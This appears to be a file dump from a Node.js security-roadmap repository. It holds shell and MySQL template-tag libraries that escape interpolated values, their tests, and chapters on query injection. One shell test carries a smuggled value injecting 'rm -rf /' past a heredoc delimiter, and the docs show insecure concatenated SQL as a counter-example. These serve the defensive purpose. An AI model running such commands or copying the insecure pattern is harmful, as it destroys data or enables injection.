suffix +\n        endChunk.substring(endDelimEndOffset))\n  }\n}\n\nconst shTagFunction = memoizedTagFunction(\n  computeShellContexts,\n  composeShellString)\n\nexports.sh = shTagFunction\nexports.bash = shTagFunction\nexports.ShFragment = ShFragment\n\nif (global.it) {\n  // Expose for testing.\n  // Harmless if this leaks\n  exports.makeLexer = makeLexer\n}\n"
  },
  {
    "path": "chapter-7/examples/sh/package.json",
    "content": "{\n  \"name\": \"sh-template-tag\",\n  \"description\": \"string template tags for safely composing shell strings\",\n  \"keywords\": [\n    \"shell\",\n    \"child_process\",\n    \"security\",\n    \"injection\",\n    \"template\",\n    \"template-tag\",\n    \"string-template\",\n    \"sec-roadmap\",\n    \"es6\"\n  ],\n  \"version\": \"0.0.0\",\n  \"author\": \"Mike Samuel\",\n  \"license\": \"Apache-2.0\",\n  \"main\": \"index.js\",\n  \"files\": [\n    \"index.js\"\n  ],\n  \"dependencies\": {\n    \"template-tag-common\": \">=1.0.2\"\n  },\n  \"devDependencies\": {\n    \"chai\": \">=4.1.2\",\n    \"eslint\": \">=4.15.0\",\n    \"eslint-config-strict\": \"*\",\n    \"eslint-config-standard\": \"*\",\n    \"mocha\": \">=4.0.1\",\n    \"standard\": \"*\"\n  },\n  \"scripts\": {\n    \"test\": \"./node_modules/.bin/standard && ./node_modules/.bin/eslint . && ./node_modules/.bin/mocha\"\n  },\n  \"eslintConfig\": {\n    \"extends\": [\n      \"strict\",\n      \"standard\"\n    ]\n  }\n}\n"
  },
  {
    "path": "chapter-7/examples/sh/test/test.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/* eslint \"id-length\": off */\n\nconst { expect } = require('chai')\nconst { describe, it } = require('mocha')\nconst { sh, ShFragment, makeLexer } = require('../index')\n\n/**\n * Feeds chunks to the lexer and concatenates contexts.\n * Tests that the lexer ends in a valid end state and\n * appends '_ERR_' as an end state if not.\n */\nfunction tokens (...chunks) {\n  const lexer = makeLexer()\n  const out = []\n  for (let i = 0, len = chunks.length; i < len; ++i) {\n    out.push(lexer(chunks[i])[0] || '_')\n  }\n  try {\n    lexer(null)\n  } catch (exc) {\n    out.push('_ERR_')\n  }\n  return out.join(',')\n}\n\n// Unwrap an ShFragment, failing if the result is not one.\nfunction unwrap (x) {\n  if (x instanceof ShFragment) {\n    return String(x)\n  }\n  throw new Error(`Expected ShFragment not ${JSON.stringify(x)}`)\n}\n\n// Run a test multiply  to exercise the memoizing code.\nfunction runShTest (golden, test) {\n  for (let i = 3; --i >= 0;) {\n    if (golden === '_ERR_') {\n      expect(test).to.throw()\n    } else {\n      expect(unwrap(test())).to.equal(golden)\n    }\n  }\n}\n\ndescribe('sh template tags', () => {\n  describe('lexer', () => {\n    it('empty string', () => {\n      expect(tokens('')).to.equal('_')\n    })\n    it('word', () => {\n      expect(tokens('foo')).to.equal('_')\n    })\n    it('words', () => {\n      expect(tokens('foo bar baz')).to.equal('_')\n    })\n    it('words split', () => {\n      expect(tokens('foo bar', ' ', 'baz')).to.equal('_,_,_')\n    })\n    it('parens', () => {\n      expect(tokens('foo (bar) baz')).to.equal('_')\n    })\n    it('parens split', () => {\n      expect('_,_,(,_,_,_').to.equal(\n        tokens('foo', ', ', '(bar', ')', ' ', 'baz'))\n    })\n    it('parens hanging split', () => {\n      expect('_,_,(,(,(,_ERR_').to.equal(\n        tokens('foo', ', ', '(bar', ' ', 'baz'))\n    })\n    it('quotes embed subshell', () => {\n      expect('\",$(,_').to.equal(\n        tokens(' \"foo', '$(bar ', ' baz)\" boo'))\n    })\n    it('quotes embed arithshell', () => {\n      expect('\",$((,$((,\",_').to.equal(\n        tokens(' \"foo', '$((bar ', '(far)', ' baz))', 'q\" boo'))\n    })\n    it('quotes embed backticks', () => {\n      expect('\",`,`,\",_').to.equal(\n        tokens(' \"foo', '`bar ', '(far)', ' baz`', 'q\" boo'))\n    })\n    it('escape affects subshell', () => {\n      expect('\",\",\",\",_').to.equal(\n        tokens(' \"foo', '\\\\$((bar ', '(far)', ' baz))', 'q\" boo'))\n    })\n    it('single quotes do not embed', () => {\n      expect(`',',',',_`).to.equal(\n        tokens(\n          ' \\' $(',\n          'foo) $((',\n          'bar))',\n          ' `',\n          ' ` # \\' '))\n    })\n    it('unterminated comment', () => {\n      expect('#,_ERR_').to.equal(\n        tokens(' #foo'))\n    })\n    it('terminated comment', () => {\n      expect('_').to.equal(\n        tokens(' #foo\\n'))\n    })\n    it('terminated comment split', () => {\n      expect('#,_').to.equal(\n        tokens(' #foo', 'bar\\n'))\n    })\n    it('arithshell', () => {\n      expect('_,$((,$((,_,_').to.equal(\n        tokens('foo', ' $((bar ', '(far)', ' baz))', ' boo'))\n    })\n    it('backticks', () => {\n      expect('_,`,`,_,_').to.equal(\n        tokens('foo', '`bar ', '(far)', ' baz`', ' boo'))\n    })\n    it('subshell paren disambiguation', () => {\n      expect('$(,(,$(,\",_,_').to.equal(tokens(\n        'echo \"$(foo ', ' | (bar ', ' baz)', ' boo)', 'far\" | ', ''))\n    })\n    it('hash not after space', () => {\n      expect('_,_').to.equal(\n        tokens('echo foo#', ''))\n    })\n    it('hash after space', () => {\n      expect('#,#,_ERR_').to.equal(\n        tokens('echo foo #', ''))\n    })\n    it('hash concatenation hazard', () => {\n      expect(() => tokens('#foo')).to.throw()\n    })\n    it('intermediate concatenation hazard', () => {\n      expect(() => tokens('echo foo', '#bar')).to.throw()\n    })\n    it('escaped intermediate concatenation hazard', () => {\n      expect('_,_').to.equal(tokens(\n        'echo foo', '\\\\#bar'))\n    })\n    it('simple heredoc', () => {\n      expect(tokens('cat <<EOF\\nFoo bar\\nEOF\\n')).to.equal('_')\n    })\n    it('heredoc hazard', () => {\n      // Concatenation hazard when no eol at end\n      expect(tokens('cat <<EOF\\nFoo bar\\nEOF')).to.equal('<<EOF,_ERR_')\n    })\n    it('split heredoc', () => {\n      expect(tokens('cat <<EOF\\nFoo', ' bar\\nEOF\\n')).to.equal('<<EOF,_')\n    })\n    it('split heredoc sp', () => {\n      expect(tokens('cat << EOF\\nFoo', ' bar\\nEOF\\n')).to.equal('<<EOF,_')\n    })\n    it('split heredoc-', () => {\n      expect(tokens('cat <<-EOF\\nFoo', ' bar\\nEOF\\n')).to.equal('<<-EOF,_')\n    })\n    it('bad heredoc label', () => {\n      expect(() => tokens('cat << \"EOF\"\\nFoo bar\\nEOF;')).to.throw()\n    })\n    it('missing heredoc label', () => {\n      expect(() => tokens('cat <<', '\\nfoo bar\\n', ';')).to.throw()\n    })\n  })\n\n  const str = 'a\"\\'\\n\\\\$b'\n  const numb = 1234\n  const frag = new ShFragment(' frag ')\n  describe('template tag', () => {\n    it('string in top level', () => {\n      runShTest(`echo 'a\"'\"'\"'\\n\\\\$b'`, () => sh`echo ${str}`)\n    })\n    it('number in top level', () => {\n      runShTest(`echo '1234'`, () => sh`echo ${numb}`)\n    })\n    it('fragment in top level', () => {\n      runShTest(`echo  frag `, () => sh`echo ${frag}`)\n    })\n    it('string in dq', () => {\n      runShTest(`echo \"a\\\\\"'\\n\\\\\\\\\\\\$b\"`, () => sh`echo \"${str}\"`)\n    })\n    it('number in dq', () => {\n      runShTest(`echo \"1234\"`, () => sh`echo \"${numb}\"`)\n    })\n    it('fragment in dq', () => {\n      runShTest(`echo \" frag \"`, () => sh`echo \"${frag}\"`)\n    })\n    it('string in sq', () => {\n      runShTest(`echo 'a\"'\"'\"'\\n\\\\$b'`, () => sh`echo '${str}'`)\n    })\n    it('number in sq', () => {\n      runShTest(`echo '1234'`, () => sh`echo '${numb}'`)\n    })\n    it('fragment in sq', () => {\n      runShTest(`echo ' frag '`, () => sh`echo '${frag}'`)\n    })\n    it('string in embed', () => {\n      runShTest(\n        `echo $(echo 'a\"'\"'\"'\\n\\\\$b')`,\n        () => sh`echo $(echo ${str})`)\n    })\n    it('number in embed', () => {\n      runShTest(\n        `echo $(echo '1234')`,\n        () => sh`echo $(echo ${numb})`)\n    })\n    it('fragment in embed', () => {\n      runShTest(\n        `echo $(echo  frag )`,\n        () => sh`echo $(echo ${frag})`)\n    })\n    it('hash ambig string', () => {\n      runShTest(`_ERR_`, () => sh`echo foo${str}#bar`)\n    })\n    it('hash ambig fragment', () => {\n      runShTest(`_ERR_`, () => sh`echo foo${frag}#bar`)\n    })\n    it('heredoc string', () => {\n      runShTest(\n        '\\ncat <<EOF\\na\"\\'\\n\\\\$b\\nEOF\\n',\n        () => sh`\ncat <<EOF\n${str}\nEOF\n`)\n    })\n    it('heredoc number', () => {\n      runShTest(\n        '\\ncat <<EOF\\n1234\\nEOF\\n',\n        () => sh`\ncat <<EOF\n${numb}\nEOF\n`)\n    })\n    it('heredoc fragment', () => {\n      runShTest(\n        '\\ncat <<EOF\\n frag \\nEOF\\n',\n        () => sh`\ncat <<EOF\n${frag}\nEOF\n`)\n    })\n    it('heredoc sneaky', () => {\n      runShTest(\n        `\ncat <<EOF_ZQHNfpzxDMLfdgCg8NUgxceUCSQiISNU1zQuqzI6uzs\nEOF\nrm -rf /\ncat <<EOF\nEOF_ZQHNfpzxDMLfdgCg8NUgxceUCSQiISNU1zQuqzI6uzs\n`,\n\n        () => sh`\ncat <<EOF\n${'EOF\\nrm -rf /\\ncat <<EOF'}\nEOF\n`)\n    })\n  })\n})\n"
  },
  {
    "path": "chapter-7/examples/sql/index.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nconst mysql = require('mysql')\nconst {\n  memoizedTagFunction,\n  trimCommonWhitespaceFromLines,\n  TypedString\n} = require('template-tag-common')\n\n// A simple lexer for SQL.\n// SQL has many divergent dialects with subtly different\n// conventions for string escaping and comments.\n// This just attempts to roughly tokenize MySQL's specific variant.\n// See also\n// https://www.w3.org/2005/05/22-SPARQL-MySQL/sql_yacc\n// https://github.com/twitter/mysql/blob/master/sql/sql_lex.cc\n// https://dev.mysql.com/doc/refman/5.7/en/string-literals.html\n\n// \"--\" followed by whitespace starts a line comment\n// \"#\"\n// \"/*\" starts an inline comment ended at first \"*/\"\n// \\N means null\n// Prefixed strings x'...' is a hex string,  b'...' is a binary string, ....\n// '...', \"...\" are strings.  `...` escapes identifiers.\n// doubled delimiters and backslash both escape\n// doubled delimiters work in `...` identifiers\n\nconst PREFIX_BEFORE_DELIMITER = new RegExp(\n  '^(?:' +\n    (\n      // Comment\n      '--(?=[\\\\t\\\\r\\\\n ])[^\\\\r\\\\n]*' +\n      '|#[^\\\\r\\\\n]*' +\n      '|/[*][\\\\s\\\\S]*?[*]/'\n    ) +\n    '|' +\n    (\n      // Run of non-comment non-string starts\n      '(?:[^\\'\"`\\\\-/#]|-(?!-)|/(?![*]))'\n    ) +\n    ')*')\nconst DELIMITED_BODIES = {\n  '\\'': /^(?:[^'\\\\]|\\\\[\\s\\S]|'')*/,\n  '\"': /^(?:[^\"\\\\]|\\\\[\\s\\S]|\"\")*/,\n  '`': /^(?:[^`\\\\]|\\\\[\\s\\S]|``)*/\n}\n\n/** Template tag that creates a new Error with a message. */\nfunction msg (strs, ...dyn) {\n  let message = String(strs[0])\n  for (let i = 0; i < dyn.length; ++i) {\n    message += JSON.stringify(dyn[i]) + strs[i + 1]\n  }\n  return message\n}\n\n/**\n * Returns a function that can be fed chunks of input and which\n * returns a delimiter context.\n */\nfunction makeLexer () {\n  let errorMessage = null\n  let delimiter = null\n  return (text) => {\n    if (errorMessage) {\n      // Replay the error message if we've already failed.\n      throw new Error(errorMessage)\n    }\n    text = String(text)\n    while (text) {\n      const pattern = delimiter\n        ? DELIMITED_BODIES[delimiter]\n        : PREFIX_BEFORE_DELIMITER\n      const match = pattern.exec(text)\n      if (!match) {\n        throw new Error(\n          errorMessage = msg`Failed to lex starting at ${text}`)\n      }\n      let nConsumed = match[0].length\n      if (text.length > nConsumed) {\n        const chr = text.charAt(nConsumed)\n        if (delimiter) {\n          if (chr === delimiter) {\n            delimiter = null\n            ++nConsumed\n          } else {\n            throw new Error(\n              errorMessage = msg`Expected ${chr} at ${text}`)\n          }\n        } else if (Object.hasOwnProperty.call(DELIMITED_BODIES, chr)) {\n          delimiter = chr\n          ++nConsumed\n        } else {\n          throw new Error(\n            errorMessage = msg`Expected delimiter at ${text}`)\n        }\n      }\n      text = text.substring(nConsumed)\n    }\n    return delimiter\n  }\n}\n\n/** A string wrapper that marks its content as a SQL identifier. */\nclass Identifier extends TypedString {}\n\n/**\n * A string wrapper that marks its content as a series of\n * well-formed SQL tokens.\n */\nclass SqlFragment extends TypedString {}\n\n/**\n * Analyzes the static parts of the tag content.\n *\n * @return An record like { delimiters, chunks }\n *     where delimiter is a contextual cue and chunk is\n *     the adjusted raw text.\n */\nfunction computeStatic (strings) {\n  const { raw } = trimCommonWhitespaceFromLines(strings)\n\n  const delimiters = []\n  const chunks = []\n\n  const lexer = makeLexer()\n\n  let delimiter = null\n  for (let i = 0, len = raw.length; i < len; ++i) {\n    let chunk = String(raw[i])\n    if (delimiter === '`') {\n      // Treat raw \\` in an identifier literal as an ending delimiter.\n      chunk = chunk.replace(/^([^\\\\`]|\\\\[\\s\\S])*\\\\`/, '$1`')\n    }\n    const newDelimiter = lexer(chunk)\n    if (newDelimiter === '`' && !delimiter) {\n      // Treat literal \\` outside a string context as starting an\n      // identifier literal\n      chunk = chunk.replace(\n        /((?:^|[^\\\\])(?:\\\\\\\\)*)\\\\(`(?:[^`\\\\]|\\\\[\\s\\S])*)$/, '$1$2')\n    }\n\n    chunks.push(chunk)\n    delimiters.push(newDelimiter)\n    delimiter = newDelimiter\n  }\n\n  if (delimiter) {\n    throw new Error(`Unclosed quoted string: ${delimiter}`)\n  }\n\n  return { raw, delimiters, chunks }\n}\n\nfunction interpolateSqlIntoFragment (\n  { raw, delimiters, chunks }, strings, values) {\n  // A buffer to accumulate output.\n  let [ result ] = chunks\n  for (let i = 1, len = raw.length; i < len; ++i) {\n    const chunk = chunks[i]\n    // The count of values must be 1 less than the surrounding\n    // chunks of literal text.\n    if (i !== 0) {\n      const delimiter = delimiters[i - 1]\n      const value = values[i - 1]\n      if (delimiter) {\n        result += escapeDelimitedValue(value, delimiter)\n      } else {\n        result = appendValue(result, value, chunk)\n      }\n    }\n\n    result += chunk\n  }\n\n  return new SqlFragment(result)\n}\n\nfunction escapeDelimitedValue (value, delimiter) {\n  if (delimiter === '`') {\n    return mysql.escapeId(String(value)).replace(/^`|`$/g, '')\n  }\n  const escaped = mysql.escape(String(value))\n  return escaped.substring(1, escaped.length - 1)\n}\n\nfunction appendValue (resultBefore, value, chunk) {\n  let needsSpace = false\n  let result = resultBefore\n  const valueArray = Array.isArray(value) ? value : [ value ]\n  for (let i = 0, nValues = valueArray.length; i < nValues; ++i) {\n    if (i) {\n      result += ', '\n    }\n\n    const one = valueArray[i]\n    let valueStr = null\n    if (one instanceof SqlFragment) {\n      if (!/(?:^|[\\n\\r\\t ,\\x28])$/.test(result)) {\n        result += ' '\n      }\n      valueStr = one.toString()\n      needsSpace = i + 1 === nValues\n    } else if (one instanceof Identifier) {\n      valueStr = mysql.escapeId(one.toString())\n    } else {\n      // If we need to handle nested arrays, we would recurse here.\n      valueStr = mysql.format('?', one)\n    }\n    result += valueStr\n  }\n\n  if (needsSpace && chunk && !/^[\\n\\r\\t ,\\x29]/.test(chunk)) {\n    result += ' '\n  }\n\n  return result\n}\n\n/**\n * Template tag function that contextually autoescapes values\n * producing a SqlFragment.\n */\nconst sql = memoizedTagFunction(computeStatic, interpolateSqlIntoFragment)\n\nexports.Identifier = Identifier\nexports.SqlFragment = SqlFragment\nexports.sql = sql\n\nif (global.it) {\n  // Expose for testing.\n  // Harmless if this leaks\n  exports.makeLexer = makeLexer\n}\n"
  },
  {
    "path": "chapter-7/examples/sql/package.json",
    "content": "{\n  \"name\": \"mysql-template-tag\",\n  \"description\": \"string template tags for safely composing SQL\",\n  \"keywords\": [\n    \"sql\",\n    \"security\",\n    \"injection\",\n    \"template\",\n    \"template-tag\",\n    \"string-template\",\n    \"sec-roadmap\",\n    \"es6\"\n  ],\n  \"version\": \"0.0.0\",\n  \"author\": \"Mike Samuel\",\n  \"license\": \"Apache-2.0\",\n  \"main\": \"index.js\",\n  \"files\": [\n    \"index.js\"\n  ],\n  \"dependencies\": {\n    \"mysql\": \"2.15.0\",\n    \"template-tag-common\": \">=1.0.2\"\n  },\n  \"devDependencies\": {\n    \"chai\": \">=4.1.2\",\n    \"eslint\": \">=4.15.0\",\n    \"eslint-config-strict\": \"*\",\n    \"eslint-config-standard\": \"*\",\n    \"mocha\": \">=4.0.1\",\n    \"standard\": \"*\"\n  },\n  \"scripts\": {\n    \"test\": \"./node_modules/.bin/standard && ./node_modules/.bin/eslint . && TZ=GMT ./node_modules/.bin/mocha\"\n  },\n  \"eslintConfig\": {\n    \"extends\": [\n      \"strict\",\n      \"standard\"\n    ]\n  }\n}\n"
  },
  {
    "path": "chapter-7/examples/sql/test/test.js",
    "content": "/**\n * @license\n * Copyright 2017 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/* eslint \"no-magic-numbers\": off */\n\nconst { expect } = require('chai')\nconst { describe, it } = require('mocha')\nconst index = require('../index')\n\nfunction tokens (...chunks) {\n  const lexer = index.makeLexer()\n  const out = []\n  for (let i = 0, len = chunks.length; i < len; ++i) {\n    out.push(lexer(chunks[i]) || '_')\n  }\n  return out.join(',')\n}\n\ndescribe('sql template tags', () => {\n  describe('lexer', () => {\n    it('empty string', () => {\n      expect(tokens('')).to.equal('_')\n    })\n    it('hash comments', () => {\n      expect(tokens(' # \"foo\\n', '')).to.equal('_,_')\n    })\n    it('dash comments', () => {\n      expect(tokens(' -- \\'foo\\n', '')).to.equal('_,_')\n    })\n    it('block comments', () => {\n      expect(tokens(' /* `foo */', '')).to.equal('_,_')\n    })\n    it('dq', () => {\n      expect(tokens('SELECT \"foo\"')).to.equal('_')\n      expect(tokens('SELECT `foo`, \"foo\"')).to.equal('_')\n      expect(tokens('SELECT \"', '\"')).to.equal('\",_')\n      expect(tokens('SELECT \"x', '\"')).to.equal('\",_')\n      expect(tokens('SELECT \"\\'', '\"')).to.equal('\",_')\n      expect(tokens('SELECT \"`', '\"')).to.equal('\",_')\n      expect(tokens('SELECT \"\"\"', '\"')).to.equal('\",_')\n      expect(tokens('SELECT \"\\\\\"', '\"')).to.equal('\",_')\n    })\n    it('sq', () => {\n      expect(tokens('SELECT \\'foo\\'')).to.equal('_')\n      expect(tokens('SELECT `foo`, \\'foo\\'')).to.equal('_')\n      expect(tokens('SELECT \\'', '\\'')).to.equal('\\',_')\n      expect(tokens('SELECT \\'x', '\\'')).to.equal('\\',_')\n      expect(tokens('SELECT \\'\"', '\\'')).to.equal('\\',_')\n      expect(tokens('SELECT \\'`', '\\'')).to.equal('\\',_')\n      expect(tokens('SELECT \\'\\'\\'', '\\'')).to.equal('\\',_')\n      expect(tokens('SELECT \\'\\\\\\'', '\\'')).to.equal('\\',_')\n    })\n    it('bq', () => {\n      expect(tokens('SELECT `foo`')).to.equal('_')\n      expect(tokens('SELECT \"foo\", `foo`')).to.equal('_')\n      expect(tokens('SELECT `', '`')).to.equal('`,_')\n      expect(tokens('SELECT `x', '`')).to.equal('`,_')\n      expect(tokens('SELECT `\\'', '`')).to.equal('`,_')\n      expect(tokens('SELECT `\"', '`')).to.equal('`,_')\n      expect(tokens('SELECT ```', '`')).to.equal('`,_')\n      expect(tokens('SELECT `\\\\`', '`')).to.equal('`,_')\n    })\n  })\n\n  function runTagTest (golden, test) {\n    // Run multiply to test memoization bugs.\n    for (let i = 3; --i >= 0;) {\n      let result = test()\n      if (result instanceof index.SqlFragment) {\n        result = result.toString()\n      } else {\n        throw new Error(`Expected SqlFragment not ${result}`)\n      }\n      expect(result).to.equal(golden)\n    }\n  }\n\n  describe('sql', () => {\n    it('numbers', () => {\n      runTagTest(\n        'SELECT 2',\n        () => index.sql`SELECT ${1 + 1}`)\n    })\n    it('date', () => {\n      runTagTest(\n        `SELECT '2000-01-01 00:00:00.000'`,\n        () => index.sql`SELECT ${new Date(Date.UTC(2000, 0, 1, 0, 0, 0))}`)\n    })\n    it('string', () => {\n      runTagTest(\n        `SELECT 'Hello, World!\\\\n'`,\n        () => index.sql`SELECT ${'Hello, World!\\n'}`)\n    })\n    it('identifier', () => {\n      runTagTest(\n        'SELECT `foo`',\n        () => index.sql`SELECT ${new index.Identifier('foo')}`)\n    })\n    it('fragment', () => {\n      const fragment = new index.SqlFragment('1 + 1')\n      runTagTest(\n        `SELECT 1 + 1`,\n        () => index.sql`SELECT ${fragment}`)\n    })\n    it('fragment no token merging', () => {\n      const fragment = new index.SqlFragment('1 + 1')\n      runTagTest(\n        `SELECT 1 + 1 FROM T`,\n        () => index.sql`SELECT${fragment}FROM T`)\n    })\n    it('string in dq string', () => {\n      runTagTest(\n        `SELECT \"Hello, World!\\\\n\"`,\n        () => index.sql`SELECT \"Hello, ${'World!'}\\n\"`)\n    })\n    it('string in sq string', () => {\n      runTagTest(\n        `SELECT 'Hello, World!\\\\n'`,\n        () => index.sql`SELECT 'Hello, ${'World!'}\\n'`)\n    })\n    it('string after string in string', () => {\n      // The following tests check obliquely that '?' is not\n      // interpreted as a prepared statement meta-character\n      // internally.\n      runTagTest(\n        `SELECT 'Hello', \"World?\"`,\n        () => index.sql`SELECT '${'Hello'}', \"World?\"`)\n    })\n    it('string before string in string', () => {\n      runTagTest(\n        `SELECT 'Hello?', 'World?'`,\n        () => index.sql`SELECT 'Hello?', '${'World?'}'`)\n    })\n    it('number after string in string', () => {\n      runTagTest(\n        `SELECT 'Hello?', 123`,\n        () => index.sql`SELECT '${'Hello?'}', ${123}`)\n    })\n    it('number before string in string', () => {\n      runTagTest(\n        `SELECT 123, 'World?'`,\n        () => index.sql`SELECT ${123}, '${'World?'}'`)\n    })\n    it('string in identifier', () => {\n      runTagTest(\n        'SELECT `foo`',\n        () => index.sql`SELECT \\`${'foo'}\\``)\n    })\n    it('number in identifier', () => {\n      runTagTest(\n        'SELECT `foo_123`',\n        () => index.sql`SELECT \\`foo_${123}\\``)\n    })\n    it('array', () => {\n      const id = new index.Identifier('foo')\n      const frag = new index.SqlFragment('1 + 1')\n      const values = [ 123, 'foo', id, frag ]\n      runTagTest(\n        \"SELECT X FROM T WHERE X IN (123, 'foo', `foo`, 1 + 1)\",\n        () => index.sql`SELECT X FROM T WHERE X IN (${values})`)\n    })\n  })\n})\n"
  },
  {
    "path": "chapter-7/libraries.md",
    "content": "# Library support for Safe Coding Practices\n\nThe way we structure libraries and APIs affect the idioms that are\navailable to developers.\n\nIf the easiest ways to express ideas are also secure against a\nparticular class of attack, then developers who have seen ideas\nexpressed those ways will tend to produce code that is secure\nagainst that class of attack.\n\nNext, we introduce a few such idioms, show how they can be better\naddressed via a rarely used but powerful JavaScript\nfeature, and end with some ideas on how to foster consistent,\npowerful, and secure APIs for a class of problems that often have\nsecurity consequences: composing structured strings to send to\nexternal agents.\n"
  },
  {
    "path": "chapter-7/query-langs.md",
    "content": "# Query injection\n\nThreats: [QUI][]\n\nOne piece of simple advice to avoid [query injection attacks][QUI] is\n\"just use [prepared statements][].\"\n\nThis is good advice, and the [`mysql`][] library has a\nsolid, well-documented API for producing secure prepared statements.\n\nDevelopers could do\n\n```js\nconst mysql = require('mysql');\n...\nconnection.query(\n    'SELECT * FROM T WHERE x = ?, y = ?, z = ?',\n    [                          x,     y,     z],\n    callback);\n```\n\nwhich is secure since `.query` calls `mysql.format` under the hood\nto escape `x`, `y`, and `z`.  Enough developers still do\n\n```js\nconnection.query(\n    \"SELECT * FROM T WHERE x = '\" + x + \"', y = '\" + y + \"', z='\" + z + \"'\",\n    callback);\n```\n\nto make query injection a real problem.\n\n\nDevelopers may not know about prepared statements, but prepared\nstatements have other problems:\n\n*  They rely on a **correspondence between positional parameters**\n   and the '`?`'s placeholders that they fill.  When a prepared statement\n   has more substitutions than fit in a reader's working memory, they\n   have to look back and forth between the prepared statement, and the\n   parameter list.\n*  Prepared statements do not make it easy to **compose a query** from\n   simpler query fragments.  It's not easy to compute the `WHERE`\n   clause separately from the result column set and then combine the\n   two into a query without resorting to string concatenation\n   somewhere along the line.\n\n\n## Template literals\n\nJavaScript has a rarely used feature that lets us get the best of\nboth worlds.\n\n\n```js\nconnection.query`SELECT * FROM T WHERE x = ${x}, y = ${y}, z = ${z}`(callback)\n```\n\nuses a [tagged template literal][] to allow inline expressions in SQL\nsyntax.\n\n> A more advanced form of template literals are tagged template\n> literals. Tags allow you to parse template literals with a\n> function. The first argument of a tag function contains an array of\n> string values. The remaining arguments are related to the\n> expressions. In the end, your function can return your manipulated\n> string (or it can return something completely different ...).\n\nThe code above is almost equivalent to\n\n```js\nconnection.query(\n    ['SELECT * FROM T WHERE x = ', ', y = ', ', z = ', ''],\n                                  x         y         z\n)(callback);\n```\n\n`connection.query` gets called with the parts of the static\ntemplate string specified by the author, followed by the results of\nthe expressions.  The final `(callback)` dispatches the query.\n\nWe can tweak SQL APIs so that, when used as template literal tags,\nthey escape the dynamic parts to preserve the intent of the author of\nthe static parts, and then re-interleave them to produce the query.\n\nThe example ([code][sql-code]) accompanying this chapter implements\nthis idea by defining a `mysql.sql` function that parses the static\nparts to choose appropriate escapers for the dynamic parts.\nWe have put together a [draft PR][mysql-PR] to integrate this into\nthe *mysql* module.\n\nIt also provides string wrappers, `Identifier` and `SqlFragment`, to\nmake it easy to compose complex queries from simpler parts:\n\n```js\n// Compose a query from two fragments.\n// When the value inside ${...} is a SqlFragment, no extra escaping happens.\nconnection.query`\n    SELECT ${outputColumnsAndJoins(a, b, c)}\n    WHERE  ${rowFilter(x, y, z)}\n`(callback)\n\n// Returns a SqlFragment\nfunction rowFilter(x, y, z) {\n  if (complexCondition) {\n    // mysql.sql returns a SqlFragment\n    return mysql.sql`X = ${x}`;\n  } else {\n    return mysql.sql`Y = ${y} AND Z=${z}`;\n  }\n}\n\nfunction outputColumnsAndJoins(a, b, c) {\n  return mysql.sql`...`;\n}\n```\n\n----\n\nOur goal was to make the easiest way to express an idea a secure way.\n\nAs seen below, this template tag API is the shortest way to express\nthis idea as shown below.  It is also tolerant to small variations\n&mdash; the author may leave out quotes since the tag implementation\nknows whether a substitution is inside quotes.\n\nShorter & tolerant != easier, but we hope that being shorter, more\nrobust, more secure, and easy to compose will make it a good migration\ntarget for teams that realize they have a problem with SQL injection.\nWe also hope these factors will cause developers who have been through\nsuch a migration to continue to use it in subsequent projects where it\nmay spread to other developers.\n\n\n```js\n// Proposed: Secure, tolerant, composes well.\nconnection.query`SELECT * FROM T WHERE x=${x}`(callback)\nconnection.query`SELECT * FROM T WHERE x=\"${x}\"`(callback)\n\n// String concatenation.  Insecure, composes well.\nconnection.query('SELECT * FROM T WHERE x = \"' + x + '\"', callback)\nconnection.query(`SELECT * FROM T WHERE x = \"${x}\"`, callback)\n\n// String concatenation is not tolerant.\n// Broken in a way that will be caught during casual testing.\nconnection.query('SELECT * FROM T WHERE x = ' + x, callback)\nconnection.query(`SELECT * FROM T WHERE x = ${x}`, callback)\n\n// Prepared Statements.  Secure, composes badly, positional parameters.\nconnection.query('SELECT * FROM T WHERE x = ?', x, callback)\nconnection.query('SELECT * FROM T WHERE x = \"?\"', x, callback)  // Subtly broken\n```\n\n\n\n[`mysql`]: https://www.npmjs.com/package/mysql\n[QUI]: ../chapter-1/threat-QUI.md\n[prepared statements]: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#Defense_Option_1:_Prepared_Statements_.28with_Parameterized_Queries.29\n[tagged template literal]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#Tagged_template_literals\n[sql-code]: https://github.com/google/node-sec-roadmap/tree/master/chapter-7/examples/sql\n[mysql-PR]: https://github.com/mysqljs/mysql/pull/1926\n"
  },
  {
    "path": "chapter-7/structured-strings.md",
    "content": "# Structured Strings\n\nBoth of the previously discussed problems, query injection and shell\ninjection, are facets of a common problem: it is hard to securely\ncompose strings to send outside the process.  In the first case,\nwe send a query string to a database via a file descriptor bound to a\nnetwork socket or an IPC endpoint.  In the second, we send a string\nvia a syscall wrapper, to spawn a child process.\n\n## Success Criteria\n\nWe can securely compose strings for external endpoints if:\n\n*  Developers routinely use tools to produce structured strings\n   that preserve developers' intent even in the face of inputs\n   crafted by a skilled attacker, and/or\n*  Where developers do not, the backends grant no authority based on\n   the structure of the string, and the authority granted ambiently is\n   so small as to not be abusable.\n\nNailing down the definition of *intent* is hard, but here's an example\nof how we can in one context.  Consider\n\n```js\n\"SELECT * FROM T 